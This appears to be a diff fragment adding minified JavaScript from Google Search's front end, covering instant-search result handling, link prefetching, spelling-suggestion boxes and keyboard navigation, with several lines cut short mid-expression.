+_.nza=function(){if((window.performance&&window.performance.navigation?2==window.performance.navigation.type:"1"==window.google._bfr)&&!_.oza)_.oza=_.j;else{var a=(0,_.T)("lpu");a?a.innerHTML="":(a=window.document.createElement("div"),a.id="lpu",(0,_.Ye)(a));for(var b=0;b<_.y1.length;++b){var c=(0,_.Ze)("link");c.rel=_.pza?"prerender":"prefetch";c.href=_.y1[b];(0,_.Xf)(c,"creationTime",(0,window.String)(window.google.time()));a.appendChild(c)}}};
+_.qza=function(){var a=(0,_.Un)(),b=a.q.value;(0,_.j1)(function(){return b==a.q.value},function(){_.Ri.es();a.q.focus()},0)};_.rza=function(){_.y1&&_.y1.length&&("complete"==window.document.readyState?(0,_.nza)():(0,_.rh)(window,"load",_.nza))};_.sza=function(a,b){if(!b)return _.j;var c=(0,_.tza)(b),d=(0,_.T)("lpu");if(d)for(var e=d.childNodes.length-1;0<=e;--e){var f=d.childNodes[e],g=(0,_.qb)((0,_.Yf)(f,"creationTime")||"-1");((0,_.tza)(f.href)!=c||3E4<window.google.time()-g)&&(0,_.Fd) [...]
+_.tza=function(a){if(!a)return _.l;var b=window.location;return 0==a.indexOf("/url?")||0==a.indexOf("//"+b.host+"/url?")||0==a.indexOf(b.protocol+"//"+b.host+"/url?")?(0,_.m1)("url",a):a};
+_.gza=function(a){if((0,_.xf)(106)){var b=(0,_.T)("mgmhppd")||(0,_.T)("pushdown"),c=(0,_.T)((0,_.qq)()),d=b&&""==b.style.display;"webhp"==window.google.sn&&(window.google.sn="web",d&&c&&(c.style.top=c.offsetTop-b.offsetHeight+"px",b.style.display="none"));var e=(0,_.bf)(".tsf-p",c);e&&(0,_.Gf)(e,"tsf-hp");for(var b=b&&d?b.offsetHeight:0,f=_.z1+b,b=_.A1+b,d="als fkbx footer hplogo most-visited ne-col-ctr prm prt ssleh swml".split(" "),e=0,g;g=d[e++];)(0,_.B1)(g,_.m);(0,_.C1)(".jsb",_.m);c [...]
+(0,_.Gf)(c,"jhp"),(0,_.Xh)()?((0,_.xf)(67),(0,_.uza)(_.m),(0,_.E1)()):(d=c.offsetTop,d==b||!a&&d!=f?((0,_.xf)(67),e=(b=(0,_.bf)("table.gssb_c"))?(0,_.xe)(b):0,g=e-(d-f),a?(a=[[c,"top",d,f,_.kf]],b&&!(0,_.f1)()&&a.push([b,"top",e,g,_.kf]),(0,_.lf)(_.vza,a,function(){(0,_.wza)(f)})):(c.style.top=f+"px",b&&!(0,_.f1)()&&(b.style.top=g+"px"),(0,_.wza)(f))):(0,_.E1)()))}};_.wza=function(a){(0,_.E1)();(0,_.xf)(58);window.scrollY>a&&window.scroll(0,a);_.Ri&&_.Ri.ok()};_.k1=function(){(0,_.gza)(_.m)};
+_.xza=function(){var a,b=(0,_.T)("botabar");a=b&&(0,_.Ee)(b)&&window.extab;(0,_.Ef)((0,_.T)("appbar"),"ab_abs",!a);(0,_.Ef)((0,_.T)("main"),"main-ext",a);var b=(0,_.T)("hdtb"),c=(0,_.Ae)(b).height;if(a)b.style.top=0-c+"px";else if(a=(0,_.T)("topabar"))a=(0,_.Ae)(a).height,b.style.top=0-c-a+"px"};_.F1=function(a){var b=(0,_.T)("main"),c=(0,_.T)("rcnt");a?((0,_.Gf)(b,"main-abs"),c&&(0,_.Ff)(c,"rcnt-pt")):((0,_.xza)(),(0,_.Ff)(b,"main-abs"),c&&(0,_.Gf)(c,"rcnt-pt"))};
+_.yza=function(a){return!!a&&(100<a.length||_.zza.test(a))};_.G1=function(a,b,c){return b.replace((0,window.RegExp)("([#?&]"+a+"=)[^&#]*"),"$1"+(c?(0,window.encodeURIComponent)(c):""))};_.Aza=function(a){for(var b=(0,_.Un)(),c=0,d;d=a[c++];)(0,_.Fd)(b[d])};_.H1=function(){(0,_.Aza)(["prmdo","tbo","tbm","tbs"])};
+_.Bza=function(){(0,_.iza)();window.google.sn=(0,_.f1)()?"mobilewebhp":"webhp";var a=(0,_.T)((0,_.qq)());if(a){_.D1&&(0,_.Ff)(a,"jhp");if((0,_.Xh)())(0,_.uza)(_.j);else{var b=(0,_.T)("mgmhppd")||(0,_.T)("pushdown");a.style.top=_.A1+(b&&""==b.style.display?b.offsetHeight:0)+"px"}(a=(0,_.bf)(".tsf-p",a))&&(0,_.Ff)(a,"tsf-hp")}(0,_.C1)(".jsb",_.j);(0,_.C1)(".nojsb",_.m);(0,_.Cza)(".nojsv",_.m);_.Ri.es();_.Ri.Dg("#")};_.I1=function(a,b){var c=(0,_.T)(a);c&&(c.style.display=b?"":"none")};
+_.B1=function(a,b){var c=(0,_.T)(a);c&&(c.style.visibility=b?"visible":"hidden")};_.uza=function(a){a?window.gbar.gpca&&window.gbar.gpca():window.gbar.gpcr&&window.gbar.gpcr()};_.C1=function(a,b){(0,_.Dza)(a,"display",b?"block":"none")};_.Cza=function(a,b){(0,_.Dza)(a,"visibility",b?"visible":"hidden")};_.Dza=function(a,b,c){a=(0,_.af)(a,(0,_.T)((0,_.qq)()));for(var d=0,e;e=a[d++];)e.style[b]=c};_.E1=function(){(0,_.C1)(".jsb",_.m);(0,_.C1)(".nojsb",_.j);(0,_.Cza)(".nojsv",_.j)};
+_.Eza=function(){(0,_.I1)("po-on-message",_.m);(0,_.I1)("po-off-message",_.m);(0,_.I1)("po-off-sc-message",_.j);(0,_.I1)("po-sc-lm",_.j);var a=(0,_.T)("po-on");a&&((0,_.Gf)(a,"po-selected"),(0,_.Ff)(a,"po-unselected"));if(a=(0,_.T)("po-off"))(0,_.Gf)(a,"po-unselected"),(0,_.Ff)(a,"po-selected")};_.j1=function(a,b,c){return window.setTimeout(function(){a()&&b()},c)};
+_.J1=function(){var a=(0,_.Un)();if(a)if(_.Fza&&!_.Gza&&((0,_.l1)("pbx","1"),_.Gza=_.j),_.K1)_.L1||((0,_.l1)("psj","1"),_.L1=_.j);else if(_.L1){var b=a.psj;b&&(a.removeChild(b),_.L1=_.m)}};_.Hza=function(a){for(var b=0,c;c=_.Iza[b++];)(0,_.B1)(c,a)};_.Jza=function(){var a=(0,_.T)("rcnt");a===_.l||(0,_.cf)(a,"opacity","","webkitTransform","","webkitTransition","");(0,_.sh)(a,"webkitTransitionEnd",_.Jza)};
+_.Kza=function(){this.D={IS:new _.M1(2,0,1,2),M1:new _.M1(2,0,2,2),TS:new _.M1(2,0,3,2),ES:new _.M1(2,0,6,2),zM:new _.M1(3,1,7,2),LI:new _.M1(0,100,5),slowConnection:new _.M1(1,50,0)};var a=(0,_.T)("pocs");this.B={yj:a,E1:a?a.getElementsByTagName("div"):[]};this.M=this.H=_.l};_.N1=function(a){var b=_.l,c;for(c in a.D){var d=a.D[c];if(d.D&&(!b||d.Kd>b.Kd))b=d}return b};
+_.O1=function(a,b,c){var d=(0,_.N1)(a);b.D=_.j;b.H||(b.B=c);b=(0,_.N1)(a);a.H&&a.H.finish();if(a.B.yj){c=a.B.yj.id+b.N;for(var e=0,f;f=a.B.E1[e++];)f.style.display=f.id==c?"":"none";a.B.yj.className=2==b.B?"sft":"";(0,_.B1)("subform_ctrl",_.m);(0,_.B1)("sbfrm_l",_.m);(0,_.I1)("sflinks",_.m);b!=d&&window.google.log("1",["1&rsm=",b.M].join(""),"",a.B.yj);(0,_.Lza)(a);a.B.yj.style.display=""}};
+_.Lza=function(a){if(a.B.yj){var b=_.Ri.As();b&&_.P1&&(b+=_.P1);if(_.n1)(0,_.Kf)()?a.B.yj.style.right="121px":a.B.yj.style.left="121px",a.B.yj.style.top=b+"px";else if((0,_.Xh)()){if((0,_.Xh)()&&(a.B.yj.style.zIndex=986,!a.B.yj.parentNode.style.top)){var c=(0,_.Un)(),d=(0,_.xe)(c)+(0,_.Mf)(c),e=(0,_.we)(c);(0,_.Kf)()?(c=(0,_.Nf)(window.document.body)-(e+(0,_.Nf)(c)),a.B.yj.style.right=c+"px"):a.B.yj.style.left=e+"px";a.B.yj.style.top=d+b+"px"}}else(0,_.f1)()||(a.B.yj.style.marginTop=b+"px")}};
+_.Q1=function(a,b,c){b.D=_.m;if(b=(0,_.N1)(a))(0,_.O1)(a,b,b.B);else{for(var d in a.D)a.D[d].D=_.m;a.B.yj&&(a.B.yj.style.display="none");c&&((0,_.B1)("subform_ctrl",_.j),(0,_.B1)("sbfrm_l",_.j));"webhp"==window.google.sn&&(0,_.I1)("sflinks",_.j);a.H&&a.H.finish()}};
+_.R1=function(a,b,c){a.M&&(window.clearTimeout(a.M),a.M=_.l);(0,_.O1)(a,b,1);a.M=(0,_.j1)(function(){return b==(0,_.N1)(c)},function(){var a=(0,_.N1)(c);if(c.Ra()&&a&&!(a.H||2==a.B)){var e=c.B.yj;c.H&&c.H.finish();c.H=(0,_.lf)(150,[[e,"backgroundColor","#fff1a8","#ffffff"]],function(){e.style.backgroundColor=""});e.className="sft";a.B=2}b.H=_.j;b.B=2},1E4)};_.M1=function(a,b,c,d){this.D=_.m;this.N=a;this.Kd=b;this.M=c;this.H=!!d;this.B=d||_.l};_.S1=function(){(0,_.Mza)();(0,_.Fd)((0,_.T) [...]
+_.Nza=function(a,b,c){if(("A"==b.nodeName||(0,_.bf)("a",b))&&(!c||c(b))&&!(0,_.If)(b,"noknav"))(0,_.Ff)(b,"knavi"),a.push(b)};_.Mza=function(){var a=(0,_.Zd)((0,_.T)("knavm"),"knavi");a&&(a=(0,_.bf)("a.noline",a),a===_.l||(0,_.Gf)(a,"noline"))};
+_.T1=function(a,b){var c=(0,_.T)("center_col");if(c===_.l||c.parentNode===_.l||!(0,_.If)(c.parentNode,"fade")){for(var d=[],c=(0,_.T)("topstuff"),e=(0,_.T)("rtr"),c=[["li.ta\\w",(0,_.T)("tadsto")],["li.ta\\w",(0,_.T)("tads")],["p.ssp",c],["div.e",c],["li.(g|ta\\w|bkgi)",(0,_.T)("res"),function(a){return!(0,_.df)(a,e,4)}],["li.ta\\w",(0,_.T)("tadsb")],["a.pn",(0,_.T)("nav")],["li",(0,_.T)("rhs_block")]],f=0,g;g=c[f++];)if(g[1])for(var h=(0,_.af)(g[0],g[1]),i=0,n;n=h[i++];){(0,_.Nza)(d,n,g [...]
+("lclbox"==n.id?"intrlu":"sld"),n);for(var p=0,k;k=n[p++];)(0,_.Nza)(d,k)}g=d.length;c=(0,_.Zd)((0,_.$d)(window.document),"knavi")||(0,_.Zd)((0,_.T)("knavm"),"knavi");h=0;i=a?1:-1;if(c)for(n=0;f=d[n];++n)if(f==c){h=n+i;break}for(;0<=h&&h<g&&0>=d[h].offsetHeight;)h+=i;if(0<=h&&h<g){d=f=d[h];(0,_.Mza)();g=(0,_.T)("knavm");g||(g=(0,_.Kf)()?"◄":"►",g=(0,_.Ze)("span",g),g.id="knavm",g.title=_.U1.kntt||"");d.style.position||(d.style.position="relative");d.appendChild(g);g.style.pad [...]
+"padding-top",_.j);if(b&&(g=window.document.body.scrollTop||window.document.documentElement.scrollTop,h=window.document.documentElement.clientHeight,i=(0,_.xe)(d),n=d.offsetHeight,p=i+n>g+h,i<g||p))h=window.Math.min(i,i-(h-n)/2),window.scrollBy(0,h-g);g=d;"A"!=g.nodeName&&(g=(0,_.af)("a.l",d),g=1==g.length?g[0]:(0,_.bf)("a",d));g===_.l||(0,_.Ff)(g,"noline");try{g.focus()}catch(q){}c&&(0,_.xf)(35,[f])}}};_.V1=function(a,b){return!a&&!b?_.j:!!a&&!!b&&a.toLowerCase()==b.toLowerCase()};
+_.W1=function(a,b,c){c&&(a=a.toLowerCase(),b=b.toLowerCase());return b.length<=a.length&&a.substring(0,b.length)==b};_.X1=function(a){return a.replace(/^[\s\u3000]+|[\s\u3000]+$/g,"").replace(/[\s\u3000]+/g," ")};_.Oza=function(a){if(!/[\uFF00-\uFF5F\u3000]/.test(a))return a;for(var b=[],c=0,d;d=a[c++];){var e=d.charCodeAt(0);65280<=e&&65375>e?b.push(window.String.fromCharCode(e-65248)):12288==e?b.push(" "):b.push(d)}return b.join("")};
+_.Y1=function(){this.yj=new _.Kza;this.Ke=new _.Pza;this.results=new _.Z1(this.Ke);this.D=_.j;this.H=0;this.B=_.l;this.M=_.m};_.Qza=function(a){return!a?"Google":a+" - "+(_.U1.gs||"Google Search")};_.$1=function(a){var b=a.lastIndexOf(" ");return-1!=b?a.substr(0,b):a};_.a2=function(){return!(0,_.b2)(_.c2.results)&&!_.n1};
+_.d2=function(a){a.results.clear();_.Ri.es();(0,_.Bza)();_.c2.isEnabled()||(0,_.qza)();(0,_.ps)("#");(a=(0,_.t1)())&&"#"!=a&&(0,_.yf)("#");window.document.title=(0,_.Qza)("");_.Rza&&_.Ri.focus()};_.Sza=function(a){a.M||(a.M=_.j,window.google.tick("session","kpr"),(a=window.performance)&&a.timing&&window.google.tick("session","bpl",a.timing.navigationStart))};_.e2=function(a,b,c){(0,_.Sza)(a);(0,_.e1)();b||a.clear();c?(0,_.f2)(a.results,b):a.results.D=0};
+_.g2=function(a,b){var c=!(b&&"#"!=b&&_.h2&&(0,_.no)(_.h2,b)),d=(0,_.i2)(b),e=!_.j2,d=d&&e&&!_.k2;(c=c&&!d)&&!a.D?(_.wf.apply(_.l,_.l2),_.uf.apply(_.l,_.m2),a.D=_.j,(0,_.n2)(a.results,b||"#"),_.K1=_.m,(0,_.J1)(),_.Ri.hb(),(0,_.xf)(62,[_.j])):!c&&a.D&&((0,_.o2)(a),_.Ri.hb());(0,_.I1)("po-bar",c||(0,_.i2)(b));(0,_.Q1)(a.yj,a.yj.D.slowConnection,!!_.c2.results.B)};
+_.o2=function(a){_.wf.apply(_.l,_.m2);_.uf.apply(_.l,_.l2);a.D=_.m;var b=_.Ri.la(),c=(0,_.v1)(_.c2.results.B);(!(0,_.p2)(a.results,(0,_.q2)(a.results))||b!=c)&&a.clear();a=a.results;_.r2?((0,_.s2)(a,_.j),(0,_.t2)(a,"flyr-c")):(0,_.u2)(a,"");(0,_.xf)(37,[_.m]);(0,_.xf)(62,[_.m])};
+_.i2=function(){if(_.c1&&(0,_.f1)())return _.m;var a,b,c=!_.Tza&&!_.n1;try{if(!window.localStorage)return _.m;a=window.localStorage.getItem("web-psy-sc");b=window.localStorage.getItem("web-psy-stp")}catch(d){}if(!a)return _.m;"string"==typeof a.value&&(a=a.value,b=b?b.value:_.l);a=(0,window.parseInt)(a,10);var e=window.google.time();if(0<a&&e-a<_.Uza)return c;if(0<a&&b&&(b=(0,window.parseInt)(b,10),b+1<_.Vza))return window.localStorage["web-psy-stp"]=b+1+"",window.localStorage["web-psy-s [...]
+"",c;window.google.log("psjoff","");try{window.localStorage.removeItem("web-psy-sc"),window.localStorage.removeItem("web-psy-stp")}catch(f){}return _.m};_.Wza=function(a,b){if(!b||!(-1!=b.indexOf("/complete/search?")&&_.v2&&a.Ke.Ew===_.ba)){var c=_.c2;6<++a.H?(0,_.R1)(c.yj,c.yj.D.LI,c.yj):a.B||(a.B=(0,_.j1)(function(){return 0<c.H},function(){(0,_.R1)(c.yj,c.yj.D.LI,c.yj)},4E3))}};
+_.Xza=function(){try{window.localStorage&&(window.localStorage["web-psy-sc"]=window.google.time()+"",window.localStorage["web-psy-stp"]="0")}catch(a){}};_.Z1=function(a){this.H=this.B=_.l;this.D=0;this.ka="";this.pj=this.S=this.N=0;this.jb="1";this.Ja=this.Rb=this.Fa=this.ra=_.l;this.M=a;this.Lf=this.Ia=this.X=_.l;this.Sg=(0,_.w2)();this.Xc=_.m;this.Je=!(0,_.w2)()};_.p2=function(a,b){return 1!=a.D&&0!=a.S?_.m:a.H==_.l||(0,_.x2)(a,(0,_.q1)(b),a.H)};
+_.Yza=function(a,b,c){if(1!=a.D){var d=a.H;c?0==a.D&&((0,_.y2)(a,b),b=(0,_.x2)(a,a.H,d),d=(0,_.x2)(a,a.H,(0,_.q1)(a.B)),b&&d&&_.Ri.Ct()):(b=a.M.pI)&&0==a.M.length&&(0,_.f2)(a,b);(0,_.z2)(a);return c}return _.m};_.Zza=function(a,b,c){return 1!=a.D?(a.M.setSuggestions(b),(0,_.Yza)(a,a.M.Zc(),c)):_.m};_.$za=function(a,b,c){return c&&b==_.Ri.la()?(a.M.WG=_.j,(0,_.Yza)(a,c,_.j)):_.m};_.A2=function(a){1!=a.D&&a.H==_.l&&(a.H="")};
+_.aAa=function(a,b){a.M.Ew&&a.M.Ew.$a();a.jb=(0,_.m1)("fp",b)||"1";(0,_.k1)();a.B=(0,_.bAa)(a,b);a.M.Ew===_.ba&&(0,_.v1)(a.B);0!=a.D||_.Ri.Ct();var c=1==a.D;a.N=c?2:0;(0,_.cAa)(a);c&&(0,_.B2)(a);(0,_.xf)(37,[_.m])};_.bAa=function(a,b){var c=_.Ri.la();if(/[A-Z]/.test(c)){var d=(0,_.v1)(b);if((0,_.W1)(d,c,_.j))return c=(0,_.G1)("q",b,c+d.substr(c.length)),-1==b.indexOf("%20")&&-1!=c.indexOf("%20")&&(c=c.replace(/%20/g,"+")),c}return b};
+_.dAa=function(a,b){if(!a.B)return!b||"#"==b;var c=(0,_.Qr)(a.B.substr(1)),d=(0,_.Qr)(b.substr(1));return c==d};_.y2=function(a,b){a.M.rE&&(b=(0,_.$1)(b));a.D=0;if((0,_.C2)(a,(0,_.D2)(a,b))){var c=(0,_.D2)(a,b);_.E2.X(c)&&_.E2.jd(c);return _.j}return _.m};
+_.n2=function(a,b,c){a.D=1;var d;a.X&&(0,_.p2)(a,b)?((0,_.yf)(a.X),d=_.j):d=_.m;if(d)return _.m;(0,_.p1)(_.a2,(0,_.q2)(_.c2.results));c=(0,_.C2)(a,b,c);!c&&2!=a.N&&((0,_.F2)(a,3),a.N=2,(0,_.B2)(a),(0,_.z2)(a));_.Ri.Dg(b);_.eAa&&(a=(0,_.v1)(b))&&_.Ri.gh(a);(0,_.xf)(80,[b]);return c};
+_.f2=function(a,b,c){a.D=2;if((0,_.C2)(a,(0,_.D2)(a,b))){b=(0,_.D2)(a,b);if(!b)return _.m;if(_.E2.X(b))_.E2.jd(b);else{var d=a.H;if(d){var e=(0,_.D2)(a,(0,_.v1)(d));a=c?0:300;var f=c||a;(0,_.j1)(function(){var a=_.c2.results,b=(0,_.x2)(a,a.H,d),c=!(0,_.x2)(a,d,(0,_.q1)(a.B)),a=2==a.D;return b&&c&&a},function(){(0,_.fAa)(_.c2.results,e,f)},a)}}return _.j}return _.m};_.gAa=function(a){(0,_.Wr)(_.Xr);_.r2?((0,_.s2)(a,_.j),(0,_.t2)(a,"flyr-c")):(0,_.u2)(a,"");(0,_.s2)(a,_.m);(0,_.w1)()&&(0,_ [...]
+_.H2=function(a){a.Rb!=_.l&&(window.clearTimeout(a.Rb),a.Rb=_.l)};_.hAa=function(a,b){a.Ja!=_.l&&(a.Ja=_.l,b&&b(a.H));(0,_.Fd)((0,_.bf)("#wflyr"))};_.b2=function(a){return!(a.B&&"#"!=a.B||a.H)};_.I2=function(a){return 2!=a.N?(a.N=2,(0,_.B2)(a),_.j):_.m};
+_.z2=function(a){if(!_.c1){var b=a.M,c=(0,_.v1)(a.B),d=_.Ri.la(),e=c==(0,_.$1)(d.replace(/ +$/,"")),f=b.rE&&e,g=(0,_.v1)(a.H);if(!(d==g&&d!=c&&e)){e=_.J2&&b.vF;if(!f){f=_.Ri.la();f=(0,_.X1)(f);f=f.replace(_.iAa,"");f=(0,_.Oza)(f);g=b.Zc();!_.K2&&(!_.L2&&b.vF)&&(g=b.pI);g=(0,_.X1)(g);g=g.replace(_.iAa,"");g=(0,_.Oza)(g);if((0,_.V1)(g,f))f=_.m;else var h=!!b.Ew&&b.Ew.$g([10,11,13]),i=!!b.Ew&&b.Ew.$g([42]),f=h&&!i||b.Ew&&b.Ew.$g([12,4,5])?_.j:!(0,_.W1)(g,f,_.j);f=f||b.WG}i=f&&!e;b=a.B;e=c;f [...]
+d=_.jAa;a=1!=a.D;var g=(0,_.T)("msg_box"),h=[],n=(0,_.T)("taw");n&&"hidden"!=n.style.visibility&&(h=n.getElementsByTagName("p"));n=_.m;if(i&&e&&!(0,_.V1)(e,f)||d&&a)if((i=(0,_.T)("topstuff"))&&"hidden"!=i.style.visibility)for(var i=i.getElementsByTagName("p"),p=0,k;k=i[p]||h[p-i.length];++p){if(/\bsp_cnt\b/.test(k.className)||/\bssp\b/.test(k.className)){n=_.j;break}}else n=_.j;else n=_.j;if(n)g&&(g.style.display="none");else if(g=f,f=(0,_.Kh)(f),e=(0,_.Kh)(e),(0,_.X1)(f),(f=_.Ri.Fd())&& [...]
+"<b><i>$1</i></b>")),h=b,b=(0,_.T)("msg_box"),f=(0,_.Kh)(g),b?(c=(0,_.T)("msg_box_entered"),c.innerHTML=f,c.href=c.href.replace(_.lAa,"$1"+(0,window.encodeURIComponent)(g)),(0,_.T)("msg_box_rendered").innerHTML=e,b.style.display="block"):h&&(h=(0,_.q1)(h).replace(/^#/,"/search?"),h=(0,_.r1)(h),i=h+"&spell=1",g=h.replace(_.lAa,"$1"+(0,window.encodeURIComponent)(g)+"&nfpr=1&ei="+window.google.kEI+"&sqi=2"),b=(0,_.Ze)("div"),b.id="msg_box",b.innerHTML=['<p style="margin-top:0"><span class=" [...]
+c.srf,' </span><a href="',i,'" class="spell" id="msg_box_rendered" onclick="return google.psy.h(event)">',e,'</a><br><span class="spell_orig">',c.sif,' </span><a href="',g,'" class="spell_orig" id="msg_box_entered" onclick="return google.psy.r(event)">',f,"</a><br></p>"].join(""),c=(0,_.T)("topstuff"),c.firstChild?(0,_.Dd)(b,c.firstChild):c.appendChild(b)),d){d=(0,_.T)("msg_box_entered");d=[d,d.previousSibling,d.nextSibling];for(c=0;c<d.length;++c)d[c]&&(d[c].style.display=a?"none":"")}}}};
+_.q2=function(a){return(a=a.B)?a.replace(/^.*\?/,""):"#"};_.M2=function(a,b){var c=(0,_.m1)("fp",b);c&&("1"!=a.jb&&a.jb!=c)&&(b=(0,_.G1)("fp",b,a.jb));return b};_.mAa=function(a,b,c){a=(0,_.t1)();""!=a&&(a=a.substring(1));b&&"#"==b.charAt(0)&&(b=b.substring(1));a=(0,_.Qr)(a,c);b=(0,_.Qr)(b,c);return a==b};_.N2=function(a,b){return(0,_.mAa)(a,b,{fp:1})};_.x2=function(a,b,c){return(0,window.decodeURIComponent)(b||"")==(0,window.decodeURIComponent)(c||"")};
+_.C2=function(a,b,c){a.H=(0,_.q1)(b);if(1==a.D||2!=a.S)a.S=0,(0,_.O2)();a.pj=0;if(!(0,_.qs)(a.H))return _.m;var d=(0,_.q1)(a.B);if((0,_.x2)(a,d,a.H))return(0,_.cAa)(a),!_.E2.X(b)||!!c;a.X=_.l;a.Ia=_.l;(0,_.P2)(a);(0,_.H2)(a);var e=a.B;e&&(0!=a.D?(0,_.nAa)(_.c2.results):a.Rb=(0,_.j1)(function(){var a=_.c2.results;return e==a.B&&!(0,_.x2)(a,a.H,(0,_.q1)(e))},function(){(0,_.nAa)(_.c2.results)},_.oAa));1!=a.D&&(0<_.Q2&&(0,_.pAa)(a,b,_.Q2),(0,_.xf)(46,[(0,_.v1)(a.H)]));return _.j};
+_.F2=function(a,b,c){var d=_.c2.results,e=d.B;e&&-1!=e.indexOf("&pf=")&&(a=(0,_.v1)(a.B),(0,_.xf)(47,[b,a]),0<=e.indexOf("&pf=k")&&(b=10),b=["1&sqi=",b,"&q=",(0,window.encodeURIComponent)(a)],d.Ia&&b.push("&pjf="+d.Ia),c&&("&"!=c.charAt(0)&&b.push("&"),b.push(c)),b.push("&"+_.Ri.Pd(_.cj.Cu,10)),_.Ri.Eb(),window.google.log("1",b.join("")))};
+_.O2=function(){if(_.n1){var a=(0,_.T)("omni_suggest"),b=(0,_.T)("nscrl");!(window.innerHeight>(a?a.clientHeight:0))||0!=_.c2.results.S||(0,_.b2)(_.c2.results)?b||(a=(0,_.td)("style",{id:"nscrl"},"html,body,#main{overflow:hidden !important}"),window.document.body.appendChild(a)):(0,_.Fd)(b)}};_.s2=function(a,b){(0,_.B1)("center_col",b);b&&(0,_.I1)("er",_.m);(0,_.B1)("subform_ctrl",b)};
+_.u2=function(a,b){var c=(0,_.T)("center_col");if(c)if(b)b&&(0,_.Qb)(b.split(" "),function(a){(0,_.Ff)(c.parentNode,a)});else{var d=c.parentNode;(0,_.If)(d,"fade")&&(0,_.Gf)(d,"fade");(0,_.s2)(a,_.j)}};_.t2=function(a,b,c,d){a=(0,_.T)(c||"flyr");if(!a&&"flyr-c"!=b&&(d=(0,_.T)(d||"rcnt")))a=window.document.createElement("div"),a.id=c||"flyr",d.parentNode.appendChild(a);a&&(a.className=b)};_.cAa=function(a){_.r2?((0,_.s2)(a,_.j),(0,_.t2)(a,"flyr-c")):(0,_.u2)(a,"");0==a.N&&(0,_.qAa)(a);(0, [...]
+_.nAa=function(a){_.c1||((0,_.R2)(a),(0,_.H2)(a),(0,_.xf)(44,[a.B,a.H])&&(_.r2?(0,_.rAa)(a):(0,_.u2)(a,(0,_.S2)(a)?"fade fade-hidden":"fade"),(0,_.S1)()))};_.rAa=function(a,b,c,d){var e=(0,_.T)(d||"rcnt");if(e&&(b?(0,_.t2)(a,b,c,d):(0,_.t2)(a,(0,_.S2)(a)?"flyr-h":"flyr-o"),a=(0,_.T)(c||"flyr")))a.style.cssText=["width:",e.offsetWidth,"px;height:",e.offsetHeight,"px;top:",e.offsetTop,"px"].join("")};
+_.B2=function(a){if(a.B&&"#"!=a.B){var b=(0,_.Qza)((0,_.v1)(a.B));window.document.title!=b&&(window.document.title=b);window.setTimeout(function(){(0,_.N2)(_.c2.results,(0,_.q2)(_.c2.results))&&(0,_.rza)()},0);if((0,_.N2)(a,a.B)){if(!(0,_.mAa)(a,a.B,{}))return(0,_.Hr)(window.location,a.B,_.j),_.j}else return b=(a.Xc||_.n1)&&a.Sg&&!(0,_.t1)(),(0,_.Hr)(window.location,a.B,(0,window.Boolean)(b)),_.j}return _.m};
+_.sAa=function(a){(0,_.B2)(a)&&(_.Qe.qz&&7>(0,window.parseInt)(_.Re,10)&&window.history.pushState)&&window.history.pushState({},window.document.title)};
+_.qAa=function(a){a.ra!=_.l&&(0,_.R2)(a);var b=a.B,c;if(c=b)c=(0,_.S2)(a),c==_.ba?c=_.m:(a.Lf&&(0,_.sh)(window.document,"webkitvisibilitychange",a.Lf),a.Lf=function(){var a=_.c2.results;(0,_.S2)(a)||(a.Je=_.j);a.B==b&&((0,_.S2)(a)?(0,_.R2)(a):(0,_.qAa)(a));(0,_.S2)(a)==_.m&&(0,_.p2)(a,(0,_.q2)(a))&&(0,_.G2)(a,_.j)},(0,_.rh)(window.document,"webkitvisibilitychange",a.Lf)),c=!c;c&&(a.ra=(0,_.j1)(function(){var a=_.c2.results;return b==a.B&&0==a.N},function(){var a=_.c2.results;(0,_.B2)(a); [...]
+-1<a.B.indexOf("&pf=")){var b=(0,_.T)("msg_box");(0,_.F2)(a,1,b&&"none"!=b.style.display?"&p_fprl=1":"")}a.N=1},3E3))};_.T2=function(a){a.Fa&&(window.clearTimeout(a.Fa),a.Fa=_.l)};
+_.pAa=function(a,b,c){if(!(a.Fa!=_.l||_.c1||_.c2.Ke.D)){var d=(0,_.q1)(b);if(b&&(0,_.v1)(b)){"#"==b[0]&&(b="/search?"+b.substr(1));var e=(0,_.M2)(a,b);a.Fa=(0,_.j1)(function(){var a=_.c2.results,b=(0,_.x2)(a,d,a.H),c=!(0,_.x2)(a,(0,_.q1)(e),(0,_.q1)(a.B)),i=0==a.S,a=!a.Ja;return b&&c&&i&&a&&!(0,_.yza)((0,_.v1)(d))},function(){(0,_.xf)(61,[e])&&(0,_.fAa)(_.c2.results,e,c)},c)}}};
+_.D2=function(a,b){var c=(0,_.dza)(a.M.mn());if(!c)return"";c=(0,_.m1)("q",c)==_.l&&/^\s*cache:/.test(b)?c+"q="+b:(0,_.G1)("q",c,b);c=(0,_.r1)(c);return(0,_.M2)(a,"/search?"+c.substr(1))};_.P2=function(a){(0,_.T2)(a);(0,_.R2)(a);(0,_.H2)(a)};_.R2=function(a){a.ra&&(window.clearTimeout(a.ra),a.ra=_.l)};
+_.fAa=function(a,b,c){if(a=_.Ri.Ck("gs_ssp")){var d=b;b=d.indexOf("?");var e=d.indexOf("#"),f=-1<b?(0,_.hr)(-1<e?d.substr(0,e):d):{};b=-1<b?d.substr(0,b+1):d+"?";e=-1<e?d.substr(e):"";a===_.l?delete f.gs_ssp:f.gs_ssp=a?(0,window.encodeURIComponent)(a):"";a=[];for(var g in f)a.push(g+"="+f[g]);b=[b,a.join("&"),e].join("")}_.E2.jd(b+"&pf="+(_.c1?"i":"p")+"&pdl="+c)};_.w2=function(){return window.document.webkitHidden};_.S2=function(a){return!("webkitVisibilityState"in window.document)||!a. [...]
+_.G2=function(a,b){(0,_.s2)(a,b);for(var c="top_nav appbar ucs leftnav rhs foot bfoot".split(" "),d=0,e;e=c[d++];)(0,_.B1)(e,b)};_.Pza=function(){var a=(0,_.Un)();this.Ia={aT:a,Je:a.q};this.H=0;this.vF=this.rE=this.D=_.m;this.pI="";this.M=_.l;this.ka=this.N=this.WG=_.m;this.X="";this.S=_.l;this.Fa=this.ra=this.B=this.Ja=_.m};_.tAa=function(){var a=_.Ri.Tb();return!!a&&(0,_.jza)(a.C())};
